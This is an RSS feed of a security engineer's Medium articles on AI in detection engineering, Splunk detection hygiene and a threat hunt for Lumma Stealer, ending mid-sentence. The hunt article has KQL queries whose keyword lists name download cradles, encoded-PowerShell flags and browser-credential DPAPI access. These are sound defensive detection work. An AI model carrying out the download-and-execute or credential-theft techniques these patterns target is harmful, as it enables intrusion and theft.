<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhishek Kumar Sah on Medium]]></title>
        <description><![CDATA[Stories by Abhishek Kumar Sah on Medium]]></description>
        <link>https://medium.com/@asah-cyber?source=rss-c7ffc4b6e36b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*inbEBh7PBaWGxUPEpD93Jw.png</url>
            <title>Stories by Abhishek Kumar Sah on Medium</title>
            <link>https://medium.com/@asah-cyber?source=rss-c7ffc4b6e36b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 10:39:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asah-cyber/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Writing Rules to Understanding Threats: How AI Is Changing Detection Engineering]]></title>
            <link>https://medium.com/@asah-cyber/from-writing-rules-to-understanding-threats-how-ai-is-changing-detection-engineering-6d010f666607?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d010f666607</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 07:58:41 GMT</pubDate>
            <atom:updated>2026-11-17T07:58:41.530Z</atom:updated>
            <content:encoded><![CDATA[<p>For years, Detection Engineering has followed a fairly familiar routine: researching threats, writing queries, tuning false positives, validating detections and then doing it all over again.</p><p>It’s a process that works, but much of the effort goes into tasks that can be repetitive and time-consuming.</p><p>AI is beginning to change that. At the same time, it is changing how vulnerabilities are discovered, attacks are developed and security teams respond to emerging threats.</p><p>We are already seeing this shift unfold. But what does it mean for Detection Engineering, and what should we be thinking about as the landscape evolves?</p><h3>1. AI Is Changing Both Sides of the Game</h3><p>AI is creating opportunities for both attackers and defenders.</p><p>Attackers can use AI to accelerate reconnaissance, research vulnerabilities, generate malicious scripts, create convincing phishing campaigns and automate parts of their attack workflows.</p><p>Let’s consider the recent PHP2Shell exploit (<a href="https://www.wiz.io/vulnerability-database/cve/cve-2026-109618">CVE-2026–109618</a> and <a href="https://www.wiz.io/vulnerability-database/cve/cve-2026-109619">CVE-2026–109619</a>), which exposed critical remote code execution vulnerabilities in the PHP runtime. These vulnerabilities could allow attackers to execute commands on vulnerable servers. <a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a> used AI models to assist in discovering the vulnerabilities and developing working exploit chains. Separately, <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/">AWS reported exploitation attempts</a> even before public disclosure.</p><p>On the defensive side, AI is finding practical applications across the detection lifecycle:</p><ul><li>Analysing threat intelligence and extracting relevant TTPs.</li><li>Generating and reviewing SPL/KQL queries.</li><li>Identifying detection gaps and suggesting tuning opportunities.</li><li>Generating test cases and assisting with detection validation.</li><li>Supporting investigations through contextual enrichment.</li></ul><p>While these capabilities can reduce repetitive effort, the quality of the outcome still depends on the underlying logic, available telemetry and proper validation.</p><h3>2. Stop Chasing Rules. Start Understanding Behaviour.</h3><p>One change I expect to become increasingly important is the shift towards more adversary-driven detection engineering.</p><p>Traditionally, detection backlogs are driven by threat intelligence reports, new attack techniques, incident findings and MITRE ATT&amp;CK coverage gaps.</p><p>But the objective should not simply be to translate every new threat report into a detection rule.</p><p>Instead, we should be asking:</p><ul><li>What behaviour are we trying to detect?</li><li>Do we have the necessary telemetry?</li><li>Do existing detections already cover it?</li><li>If not, what is the most effective way to detect it?</li></ul><p>Consider PHP2Shell. Rather than relying solely on known exploit patterns, detection engineers need to understand the exploitation behaviour and identify how it manifests in available telemetry. For example, unexpected shell processes spawned by PHP workers or web server processes could provide useful detection opportunities.</p><p>Application logs alone may not provide sufficient context, making process ancestry and endpoint telemetry particularly important.</p><p>This also highlights the growing connection between Detection Engineering, Threat Hunting and Incident Response. An incident can expose a detection gap, a hunt can uncover previously unidentified behaviour, and that finding can eventually become a new detection. AI can help accelerate this feedback loop.</p><p>The focus gradually shifts from building more rules to understanding attacker behaviour and improving our ability to detect it.</p><h3>3. So, What Will Detection Engineering Look Like Next?</h3><p>As AI continues to evolve at a rapid pace, some parts of the traditional Detection Engineering workflow are likely to become increasingly automated.</p><p>Detection development, query optimisation, documentation, basic tuning and parts of detection validation will require less manual effort. We may also see specialised AI agents assisting with different stages of the detection lifecycle.</p><p>There is another dimension we shouldn’t overlook:</p><blockquote>AI itself is becoming an attack surface.</blockquote><p>As organisations deploy AI agents, copilots and autonomous workflows, these systems introduce new security risks. Prompt injection, excessive agent privileges, abuse of connected tools, credential exposure and data exfiltration through AI workflows are some examples.</p><p>Consider an AI agent with access to security platforms such as SIEM, EDR, identity systems and ticketing tools. What happens if an attacker manipulates its instructions or compromises one of its integrations?</p><p>This creates new challenges for Detection Engineering. Understanding AI security, agent architectures and the telemetry they generate will become increasingly relevant.</p><h3>4. Preparing for the Shift: What Can We Do Today?</h3><p>We don’t need to wait for AI-powered security platforms to become mainstream before adapting our workflows. There are several things Detection Engineers can start exploring today.</p><p><strong>1. Incorporate AI into everyday workflows.</strong></p><p>Experiment with AI for threat research, query development, SPL/KQL optimisation and detection tuning. Understand where it helps and where its output needs validation.</p><p><strong>2. Invest in automation and agentic workflows.</strong></p><p>Develop your Python and API skills. Explore LLM integrations, tool calling and agent-based workflows. Start by automating repetitive engineering tasks and explore how AI can participate in different stages of the detection lifecycle.</p><p>For example, AI can help review detection changes and generate test cases within existing Detection-as-Code workflows, while Git-based reviews and CI/CD validation remain part of the deployment process.</p><p><strong>3. Strengthen adversary understanding.</strong></p><p>Spend more time understanding attack techniques, execution paths and evasion methods. Don’t limit detection development to translating threat intelligence into queries.</p><p><strong>4. Learn detection validation and adversary simulation.</strong></p><p>Learn how to test detections using simulated attack activity, validate expected outcomes and identify gaps in detection logic.</p><p><strong>5. Understand AI security.</strong></p><p>Explore emerging attack surfaces such as prompt injection, excessive permissions, insecure tool integrations, abuse of AI agents and risks associated with connected services such as MCP servers. These will increasingly become relevant areas for security monitoring.</p><p>You don’t need to master everything at once. Start with one repetitive task, experiment with automating it and gradually build from there. Always use approved AI environments when working with proprietary security data.</p><h3>When Writing Detections Becomes Easy, What Becomes Valuable?</h3><p>If we only use AI to write detection rules faster, we may be missing the bigger opportunity. The real potential lies in going beyond individual tasks and building workflows that can analyse security telemetry, identify gaps in detection coverage, suggest new detection opportunities and help validate them.</p><p>This could change how we approach Detection Engineering. Rather than spending most of our time building and maintaining individual rules, we could focus more on designing better detection workflows, automating parts of the lifecycle and improving our overall detection capabilities.</p><p><strong>The promise of AI isn’t simply about doing the same work faster. It’s about expanding what we can achieve as Detection Engineers and how effectively we can help our organisations detect threats.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d010f666607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection Hygiene:Keeping Your Detection Estate Clean]]></title>
            <link>https://medium.com/@asah-cyber/detection-hygiene-keeping-your-detection-estate-clean-6636bc1001e8?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6636bc1001e8</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[splunk-enterprise]]></category>
            <category><![CDATA[hygiene]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Fri, 28 Aug 2026 09:26:19 GMT</pubDate>
            <atom:updated>2026-08-28T09:28:44.545Z</atom:updated>
            <content:encoded><![CDATA[<p>Detection engineering is often discussed in terms of building detections: write the logic, test it, tune it, and deploy it. But as the number of detections grows, another problem appears: <strong>how do you keep everything clean and manageable?</strong></p><p>Names become inconsistent, searches compete for resources, log-source ownership becomes unclear, and old lookups or disabled detections remain long after they are needed. These issues are small individually but create operational debt when they accumulate.</p><p>Detection hygiene is about preventing that debt without creating another governance framework or maintenance burden. There is also a direct business benefit: unnecessary searches consume SIEM compute, while consistent naming and good telemetry documentation reduce the time spent troubleshooting during an incident and can improve <strong>MTTR</strong>.</p><p><strong>So how do we address these problems without creating another layer of process?</strong></p><h3>Keep the Standards Small</h3><p>Every standard creates maintenance. Trying to document every field, track every dependency, or enforce dozens of conventions simply moves the problem from detection quality to housekeeping overhead.</p><p>Focus on what matters:</p><ul><li>Consistent detection names</li><li>Accurate detection inventory</li><li>Important data sources and their owners</li><li>Sensible, distributed scheduling</li><li>Important dependencies</li><li>Stale-content cleanup</li><li>Automated deviation checks</li></ul><p>Maintain what requires human context and automate what the platform already knows.</p><h3>A Note on Scope</h3><p>This article uses <strong>Splunk as the primary SIEM</strong> to illustrate these practices. The principles are not Splunk-specific and can be implemented in other SIEM platforms, although the available automation and implementation will vary.</p><h3>1. Standardize Detection Names</h3><p>A detection name should explain what it detects without opening the search.</p><p>AWS - Bulk Secrets Retrieved from Secrets Manager</p><p>is more useful than:</p><p>AWS Secret Detection v2</p><p>A simple [Platform/Data Source] - [Behavior] convention is often enough:</p><p>Windows - Suspicious PowerShell Download</p><p>Okta - MFA Method Modified</p><p>AWS - Root Account Activity</p><p>The exact convention matters less than consistency. Standardized names improve searchability, reporting, review, and investigation speed.</p><h3>2. Maintain a Detection Inventory</h3><p>You should always know <strong>what detections are running</strong>.</p><p>Don’t maintain this in another spreadsheet if the SIEM already has the information. In Splunk, much of it can be derived from the detection content and exposed through a dashboard.</p><p>Useful fields include:</p><ul><li>Detection name and ID</li><li>Status</li><li>Owner</li><li>Severity</li><li>Data source</li><li>Schedule</li><li>MITRE technique, where applicable</li><li>Important dependencies</li></ul><p>Splunk’s REST API can expose saved-search configuration directly from SPL:</p><pre>| rest /services/saved/searches<br>| table title disabled cron_schedule dispatch.earliest_time dispatch.latest_time</pre><p>This can be extended to build an automated inventory rather than maintaining the same information elsewhere. The dashboard can also highlight disabled detections, missing owners, missing metadata, and scheduling hotspots.</p><h3>3. Keep a Lightweight Data Dictionary</h3><p>A detection inventory tells you what you’re detecting. A data dictionary tells you <strong>where the telemetry comes from</strong>.</p><p>For important log sources, maintain only information that requires human input:</p><ul><li>Log source</li><li>Purpose</li><li>Primary point of contact</li><li>Index</li><li>Sourcetype</li><li>CIM data model</li><li>Retention</li><li>Environment</li><li>Criticality</li></ul><p>For example:</p><p><strong>Okta</strong></p><ul><li><strong>Purpose:</strong> Authentication and MFA activity</li><li><strong>Owner:</strong> IAM</li><li><strong>Index:</strong> okta</li><li><strong>Sourcetype:</strong> okta:events</li><li><strong>CIM:</strong> Authentication</li><li><strong>Retention:</strong> 365 days</li><li><strong>Environment:</strong> Production</li><li><strong>Criticality:</strong> High</li></ul><p>Keep this as a simple Splunk lookup and update it when a source is onboarded. Last event, volume, ingestion status, and detections using the source can be derived dynamically.</p><p>If a critical source stops ingesting, you can quickly identify what is affected and who owns it.</p><h3>4. Keep Detection Scheduling Under Control</h3><p>As detections grow, scheduling becomes an operational concern. Hundreds of searches executing together can create unnecessary concurrency and resource contention.</p><p>For example, many searches using:</p><p>*/5 * * * *</p><p>may be valid individually but still create a scheduling hotspot.</p><p>Spread searches across execution windows where practical, and make the frequency appropriate for the use case. Not every detection needs to run every five minutes.</p><p>Also make sure the search window matches the schedule. A five-minute schedule with a one-hour lookback may be intentional for ingestion delays, but it should be a conscious decision.</p><p>Good scheduling reduces unnecessary SIEM compute and makes resource usage more predictable.</p><h3>5. Track Important Dependencies</h3><p>Detections can depend on lookups, macros, saved searches, KV Store collections, data models, custom commands, and other knowledge objects.</p><p>Don’t document everything. Track dependencies that can break detections or affect multiple detections.</p><p>If 30 detections depend on the same lookup, that relationship matters. A simple eval inside one search probably doesn&#39;t.</p><p>Important knowledge objects should also follow basic standards for naming, ownership, and purpose.</p><h3>6. Remove Stale Content</h3><p>Detection environments accumulate old content: detections for retired systems, duplicate rules, temporary searches, disabled detections, and obsolete dependencies.</p><p>Periodically ask whether the content still serves a purpose. If it does, keep it. If it doesn’t, remove it. If nobody knows, review it.</p><p>The same applies to knowledge objects. Unused lookups, macros, and saved searches add noise and can consume resources without providing value.</p><h3>7. Detect Deviations From the Standard</h3><p>Standards are useful only if deviations are visible.</p><p>Automated checks can flag newly created or modified content that:</p><ul><li>Doesn’t follow the naming convention</li><li>Has no owner</li><li>Is missing required MITRE metadata</li><li>Runs more frequently than the defined threshold</li><li>Uses an unsupported schedule</li><li>Is missing required metadata</li><li>References an unmanaged knowledge object</li></ul><p>For example:</p><blockquote><strong><em>Detection Standard Deviation:</em></strong><em> </em><em>AWS - Secrets Detection is scheduled every 5 minutes. Defined standard: 15 minutes or higher.</em></blockquote><p>The implementation could be a scheduled Python script querying the SIEM API, a YAML linter enforcing a detection schema, or a pre-commit hook that catches issues before deployment.</p><p>Not every deviation needs to block deployment. Some should be hard failures; others can generate warnings or appear on a housekeeping dashboard.</p><h3>8. Automate the Housekeeping</h3><p>Housekeeping should not depend on engineers manually maintaining spreadsheets and checking hundreds of detections.</p><p>A simple model is:</p><p><strong>Define the standard → automate the checks → surface the exceptions.</strong></p><p>In Splunk, a housekeeping dashboard could bring together:</p><ul><li><strong>Detection Inventory:</strong> Enabled and disabled detections, owners, data sources, severity, and MITRE coverage.</li><li><strong>Data Sources:</strong> Log sources, owners, indexes, retention, ingestion status, and detection dependencies.</li><li><strong>Housekeeping:</strong> Naming violations, missing metadata, scheduling deviations, stale content, missing owners, and dependency issues.</li></ul><p>The dashboard should answer one question:</p><p><strong>What needs attention?</strong></p><p>Some checks can later become CI/CD validation gates, while lower-risk checks remain informational.</p><h3>One Last Thing</h3><p>None of these practices are complicated. The challenge is applying them consistently as the number of detections, data sources, and knowledge objects grows.</p><p>The answer isn’t more process. It is deciding what is worth maintaining, making those standards clear, and automating what doesn’t need human attention.</p><p>If adding a detection means updating three spreadsheets and following a 20-step checklist, the process is too heavy. If a detection can be created with no standards, no ownership, and no visibility into its dependencies, it is too loose.</p><p>The sweet spot is in between: <strong>just enough structure to keep things predictable, and enough automation to ensure housekeeping never becomes a full-time job.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6636bc1001e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting in Practice: Turning Threat Intelligence into a Behavior-Driven Hunt]]></title>
            <link>https://medium.com/@asah-cyber/threat-hunting-in-practice-turning-threat-intelligence-into-a-behavior-driven-hunt-1a7372d37160?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a7372d37160</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Thu, 06 Aug 2026 19:40:23 GMT</pubDate>
            <atom:updated>2026-08-06T19:40:23.020Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Every week, security vendors publish research on new malware families and threat campaigns. The natural response is to search the environment for indicators of compromise (IOCs).</p><p>While useful, IOCs are short-lived. Domains change, infrastructure is taken down, and malware variants evolve.</p><p>The better question is:</p><blockquote>If this threat was active in our environment today, would we be able to detect it?</blockquote><p>Answering that requires hunting for behaviors, not just indicators.</p><p>In this article, we’ll use Lumma Stealer as a case study to demonstrate how threat intelligence can be translated into a structured enterprise threat hunt. Rather than analyzing the malware itself, we’ll focus on building a repeatable hunting methodology that can be applied to future campaigns as well.</p><p>The hunt is based on Microsoft’s excellent research on Lumma Stealer.</p><p><strong>Reference:</strong> <a href="https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/">Microsoft Security Blog — Lumma Stealer: Breaking down the delivery techniques and capabilities of a prolific infostealer</a></p><h3>Why This Hunt?</h3><p>Not every threat report deserves a threat hunt.</p><p>Before investing time, ask a few simple questions:</p><ul><li>Is the threat relevant to our environment?</li><li>Do we have the telemetry to investigate it?</li><li>Do existing detections already cover these behaviors?</li><li>What would the business impact be if the threat succeeded?</li></ul><p>If the answers indicate meaningful risk, it’s worth hunting.</p><p>Lumma Stealer is one such campaign.</p><p>According to Microsoft’s research, Lumma is a Malware-as-a-Service (MaaS) information stealer distributed through phishing, fake software downloads, malvertising and, more recently, ClickFix-style social engineering.</p><p>One of the more interesting techniques is ClickFix, where users are tricked into copying and executing malicious commands from fake CAPTCHA or verification prompts. Instead of exploiting a vulnerability, the attacker convinces the user to execute the payload themselves.</p><p>That makes the campaign particularly interesting from a hunting perspective. Every stage — from the initial command execution to credential theft and outbound communication — leaves behavioral evidence that can be validated using endpoint and network telemetry.</p><p>The objective of this hunt is simple:</p><blockquote>If the techniques described in Microsoft’s research were used in our environment, would we be able to identify them?</blockquote><h3>Translating Threat Intelligence into Hunt Hypotheses</h3><p>Threat intelligence tells us what the attacker did. Threat hunting answers whether similar behavior exists in our own environment.</p><p>The bridge between the two is a hunt hypothesis.</p><p>Instead of extracting hashes, domains or filenames from the report, extract the observable behaviors that should exist if the attack occurred.</p><p>Microsoft describes delivery through phishing, fake software downloads and ClickFix-style lures. Rather than treating these as separate techniques, ask what evidence they would leave behind.</p><p>That leads to the first hypothesis:</p><blockquote><strong><em>Have users executed suspicious PowerShell commands or other trusted Windows binaries after interacting with ClickFix prompts or fake software downloads?</em></strong></blockquote><p>The report also highlights the abuse of legitimate Windows utilities and scripting engines to blend malicious activity with normal system operations.</p><p>That becomes the next question:</p><blockquote><strong><em>Do we observe suspicious execution chains involving PowerShell, Command Prompt, MSHTA, Rundll32, Windows Script Host or other trusted Windows binaries?</em></strong></blockquote><p>Lumma’s primary objective is credential theft.</p><p>That leads to another hypothesis:</p><blockquote><strong><em>Are unexpected processes attempting to access browser credential stores or other sensitive user data?</em></strong></blockquote><p>Finally, successful execution results in communication with attacker-controlled infrastructure.</p><p>Which gives us one final question:</p><blockquote><strong><em>Do the suspicious processes identified earlier establish outbound network connections, and does similar behavior exist elsewhere in the environment?</em></strong></blockquote><p>Notice that none of these hypotheses depend on a specific IP address, domain or file hash. Instead, they focus on behaviors that remain observable even as the attacker changes infrastructure or malware variants.</p><p>By the end of this step, we have a clear set of hypotheses that will drive the investigation.</p><h3>Building the Hunt Plan</h3><p>With the hypotheses defined, the next step is deciding how to investigate them. Start by defining four things.</p><h3>Objective</h3><p>Validate whether there is evidence of Lumma Stealer activity based on the behaviors documented in Microsoft’s research.</p><h3>Scope</h3><p>For this walkthrough, we’ll focus on Windows endpoints and the previous 30 days of telemetry. Adjust the scope to match your environment. High-value assets, privileged users or recently targeted business units are often good starting points.</p><h3>Required Telemetry</h3><p>Before starting, make sure you have visibility into:</p><ul><li>EDR telemetry</li><li>Windows process creation</li><li>PowerShell logs (where available)</li><li>DNS logs</li><li>Proxy logs</li><li>Firewall or network telemetry</li><li>SIEM data for historical correlation</li></ul><p>More telemetry increases confidence, but don’t let missing data stop the hunt. Instead, document those gaps — they often become valuable findings themselves.</p><h3>Where Should the Hunt Start?</h3><p>Although both the EDR and SIEM contain valuable telemetry, they serve different purposes. We’ll start with the EDR.</p><p>The earliest evidence of Lumma exists on the endpoint, and the EDR provides the richest context around process execution, command lines, process lineage, file activity and user context.</p><p>Once suspicious endpoint activity is identified, the SIEM becomes the better tool for correlating DNS, proxy, firewall and other network telemetry to determine whether the behavior extends beyond a single endpoint.</p><p>Think of the EDR and SIEM as complementary tools rather than competing ones.</p><h3>Reduce the Noise First</h3><p>Enterprise environments generate an enormous amount of telemetry.</p><p>Before running a single query, filter known-good activity wherever possible. Software deployment tools, endpoint management platforms, remote administration software and approved developer tools often generate behavior that initially looks suspicious.</p><p>A clean baseline allows the investigation to focus on activity that genuinely deserves attention.</p><p>With the planning complete, the next step is to validate each hypothesis through a series of focused investigations:</p><ul><li>Initial Execution</li><li>Process Lineage</li><li>Credential Access</li><li>Network Activity &amp; Environment Correlation</li><li>Hunt Findings</li></ul><p>Let’s start the hunt.</p><h3>Executing the Hunt</h3><p>With the hypotheses defined, it’s time to validate them against our environment.</p><p>Rather than searching broadly, we’ll investigate each hypothesis individually, starting at the endpoint and gradually expanding the scope of the investigation. Each investigation either strengthens or disproves the original hypothesis, helping us determine whether the behaviors described in Microsoft’s research exist in our environment.</p><h3>Investigation 1 — Initial Execution</h3><p><strong>Objective</strong> Determine whether users executed malicious commands consistent with the ClickFix delivery technique described in Microsoft’s research.</p><p><strong>Where to Hunt</strong> EDR</p><p><strong>Why this Hunt?</strong> Microsoft identifies ClickFix as one of Lumma’s primary delivery techniques, where users are tricked into manually executing malicious commands. One of the earliest artifacts of this activity is the RunMRU registry entry, making it an ideal place to begin the hunt.</p><p><strong>Example Hunt Query</strong></p><pre>DeviceRegistryEvents<br>| where ActionType == &quot;RegistryValueSet&quot;<br>| where RegistryKey has @&quot;\Explorer\RunMRU&quot;<br>| where RegistryValueData has_any (<br>    &quot;powershell&quot;,<br>    &quot;mshta&quot;,<br>    &quot;curl&quot;,<br>    &quot;bitsadmin&quot;,<br>    &quot;msiexec&quot;,<br>    &quot;DownloadString&quot;,<br>    &quot;Invoke-WebRequest&quot;,<br>    &quot;iwr&quot;,<br>    &quot;iex&quot;<br>)<br>| project Timestamp,<br>          DeviceName,<br>          InitiatingProcessAccountName,<br>          RegistryValueData</pre><p><strong>What to Look For</strong></p><ul><li>PowerShell or LOLBins executed via the Windows Run dialog.</li><li>Download-and-execute commands such as Invoke-WebRequest, DownloadString, curl or bitsadmin.</li><li>Base64-encoded or heavily obfuscated PowerShell commands.</li><li>Unexpected users or devices performing this activity.</li></ul><h3>Investigation 2 — Process Lineage</h3><p><strong>Objective</strong> Determine whether the suspicious execution resulted in a process chain consistent with Lumma’s execution behavior.</p><p><strong>Where to Hunt</strong> EDR</p><p><strong>Why this Hunt?</strong> A suspicious command only tells us how execution started. The next step is to reconstruct the process tree and determine whether the activity progressed beyond the initial execution.</p><p><strong>Example Hunt Query</strong></p><pre>DeviceProcessEvents<br>| where InitiatingProcessFileName in~ (<br>    &quot;explorer.exe&quot;,<br>    &quot;powershell.exe&quot;,<br>    &quot;cmd.exe&quot;,<br>    &quot;mshta.exe&quot;<br>)<br>| where FileName in~ (<br>    &quot;powershell.exe&quot;,<br>    &quot;cmd.exe&quot;,<br>    &quot;mshta.exe&quot;,<br>    &quot;rundll32.exe&quot;,<br>    &quot;regsvr32.exe&quot;,<br>    &quot;wscript.exe&quot;,<br>    &quot;cscript.exe&quot;<br>)<br>| where ProcessCommandLine has_any (<br>    &quot;-enc&quot;,<br>    &quot;-EncodedCommand&quot;,<br>    &quot;-nop&quot;,<br>    &quot;bypass&quot;,<br>    &quot;hidden&quot;,<br>    &quot;FromBase64String&quot;,<br>    &quot;DownloadString&quot;,<br>    &quot;Invoke-WebRequest&quot;,<br>    &quot;iwr&quot;,<br>    &quot;iex&quot;<br>)<br>| project Timestamp,<br>          DeviceName,<br>          InitiatingProcessFileName,<br>          FileName,<br>          ProcessCommandLine</pre><p><strong>What to Look For</strong></p><ul><li>Encoded PowerShell or download cradles (Invoke-WebRequest, DownloadString, iwr, iex).</li><li>Multi-stage execution involving trusted Windows binaries (LOLBins).</li><li>Payloads launched from user-writable directories such as Downloads or Temp.</li><li>Unsigned executables or unexpected child processes.</li></ul><h3>Investigation 3 — Credential Access</h3><p><strong>Objective</strong> Determine whether the suspicious execution progressed to browser credential theft.</p><p><strong>Where to Hunt</strong> EDR</p><p><strong>Why this Hunt?</strong> Lumma is an information stealer. Once suspicious execution has been established, the next logical question is whether the process attempted to harvest browser credentials or other sensitive user data.</p><p><strong>Example Hunt Query</strong></p><pre>DeviceEvents<br>| where ActionType == &quot;DpapiAccessed&quot;<br>| where InitiatingProcessFileName in~ (<br>    &quot;powershell.exe&quot;,<br>    &quot;AutoIt3.exe&quot;,<br>    &quot;regasm.exe&quot;,<br>    &quot;msbuild.exe&quot;<br>)<br>| project Timestamp,<br>          DeviceName,<br>          InitiatingProcessFileName,<br>          AdditionalFieldsWhat to Look For</pre><ul><li>Unexpected DPAPI access initiated by PowerShell, AutoIt or other non-browser processes.</li><li>Browser credential decryption attempts.</li><li>Review the AdditionalFields column for references to browsers such as Google Chrome or Microsoft Edge. Browser-related DPAPI activity originating from a non-browser process deserves immediate attention.</li><li>Activity occurring shortly after the suspicious execution identified in the previous investigations.</li><li>The same process or behavior appearing across multiple endpoints.</li></ul><h3>Investigation 4 — Network Activity &amp; Environment Correlation</h3><p><strong>Objective</strong> Determine whether the suspicious endpoint activity resulted in outbound communication or similar activity elsewhere in the environment.</p><p><strong>Where to Hunt</strong> SIEM</p><p><strong>Why this Hunt?</strong> By this stage, we’ve established suspicious activity on an endpoint. Using the execution timestamp from the previous investigations, pivot into the SIEM and search within a narrow time window (for example, ±5 minutes) to correlate DNS, proxy and firewall events with the original execution. This not only reduces noise but also helps determine whether the activity is isolated or part of a broader campaign.</p><p><strong>Example Hunt Query</strong></p><pre>(index=dns OR index=proxy OR index=firewall)<br>host=&lt;affected_host&gt;<br>earliest=-5m latest=+5m<br>| stats earliest(_time) as firstSeen<br>        latest(_time) as lastSeen<br>        values(query) as dns_queries<br>        values(dest_ip) as destination_ips<br>        values(url) as urls<br>        count<br>        by host user</pre><p><strong>What to Look For</strong></p><ul><li>DNS or HTTP/S activity immediately following the suspicious execution.</li><li>Repeated destinations across multiple endpoints.</li><li>Similar execution patterns involving other users or devices.</li><li>Network activity that strengthens or disproves the original hunt hypotheses.</li></ul><h3>Hunt Findings</h3><p>By validating each hypothesis against endpoint and network telemetry, we’ve determined whether the behaviors described in Microsoft’s research exist in our environment.</p><p>Throughout the investigation, we looked for evidence of:</p><ul><li>User-driven command execution through ClickFix-style social engineering.</li><li>Abuse of trusted Windows binaries and scripting engines.</li><li>Attempts to access browser credentials or other sensitive user data.</li><li>Outbound communication following suspicious execution.</li><li>Similar behavioral patterns across additional endpoints.</li></ul><p>Whether the hunt uncovers malicious activity or not, it still provides valuable outcomes. It:</p><ul><li>Confirms whether the attack chain is observable using the available telemetry.</li><li>Identifies visibility or logging gaps that may require attention.</li><li>Establishes a behavioral baseline for future investigations.</li><li>Highlights behaviors that can be converted into high-fidelity detections.</li></ul><p>At this stage, we’ve answered the same question we started with:</p><blockquote>If the behaviors described in Microsoft’s research existed in our environment, would we have found them?</blockquote><p>The hunt has provided that answer. The next challenge is ensuring we don’t have to ask the same question again.</p><p>That means transforming the behaviors we’ve validated into durable detections that identify future attacks automatically rather than relying on manual investigations.</p><h3>Evaluating Hunt Outcomes</h3><p>At this point, we’ve answered the question we set out to investigate:</p><blockquote>If the behaviors described in Microsoft’s research existed in our environment, would we have found them?</blockquote><p>The next step is deciding what should change as a result of the hunt.</p><p>A common mistake is to convert every interesting observation into a new detection. Mature detection engineering is about identifying the behaviors that provide lasting defensive value.</p><p>When evaluating a hunt, I typically ask four questions:</p><ul><li>Is the behavior uncommon in our environment?</li><li>Can it be detected with acceptable fidelity?</li><li>Is it likely to appear in future attacks?</li><li>Can analysts take meaningful action if it triggers?</li></ul><p>Applying that framework to our hunt quickly narrowed the field.</p><p>The Initial Execution, Process Lineage, and Credential Access investigations all identified behaviors that are uncommon, observable, and likely to reappear across future campaigns. More importantly, they represent attacker tradecraft rather than Lumma-specific artifacts, making them strong candidates for behavioral detections.</p><p>The Network Activity investigation reached a different conclusion. While it helped validate the attack chain and scope the investigation, it wasn’t suitable as a standalone detection. Network destinations change frequently, and similar traffic is generated by many legitimate applications. In this case, the telemetry is far more valuable as a correlation signal that strengthens endpoint-based detections than as another alert.</p><p>This evaluation resulted in three behaviors that warranted detection engineering and one behavior that was better retained as part of the investigation workflow.</p><p>The objective of a threat hunt isn’t to create detections — it’s to identify the behaviors that are worth detecting.</p><p>It’s also worth remembering that not every hunt uncovers malicious activity.</p><p>A clean hunt may simply indicate that the behavior doesn’t exist in your environment, or that you don’t yet have the telemetry required to validate it. Both outcomes improve your understanding of your detection posture.</p><p>If a hunt exposes visibility gaps or unanswered questions, a <strong>purple team exercise</strong> is often the best next step. Emulating the relevant attacker behaviors validates telemetry, exposes blind spots, and measures detection coverage before a real adversary does.</p><p>With that evaluation complete, we can now operationalize the behaviors that provide the greatest long-term defensive value.</p><h3>Detection Opportunities</h3><h4>Suspicious ClickFix Command Execution</h4><ul><li><strong>Behavior:</strong> User-driven execution of PowerShell, MSHTA, or download cradles through the Windows Run dialog.</li><li><strong>Detection:</strong> Detect PowerShell, MSHTA, or common download cradles executed through the Windows Run dialog. This targets the delivery technique rather than the payload, making the detection resilient to changes in malware or infrastructure.</li></ul><h4>Suspicious LOLBin Execution Chains</h4><ul><li><strong>Behavior:</strong> PowerShell progressing into trusted Windows binaries such as MSHTA, Rundll32, or Regsvr32.</li><li><strong>Detection:</strong> Detect suspicious execution chains involving PowerShell followed by trusted Windows binaries. These execution patterns appear across numerous intrusion sets, providing durable behavioral coverage.</li></ul><h4>Browser Credential Access</h4><ul><li><strong>Behavior:</strong> Unexpected processes accessing browser credential stores or invoking DPAPI decryption.</li><li><strong>Detection:</strong> Detect non-browser processes accessing browser 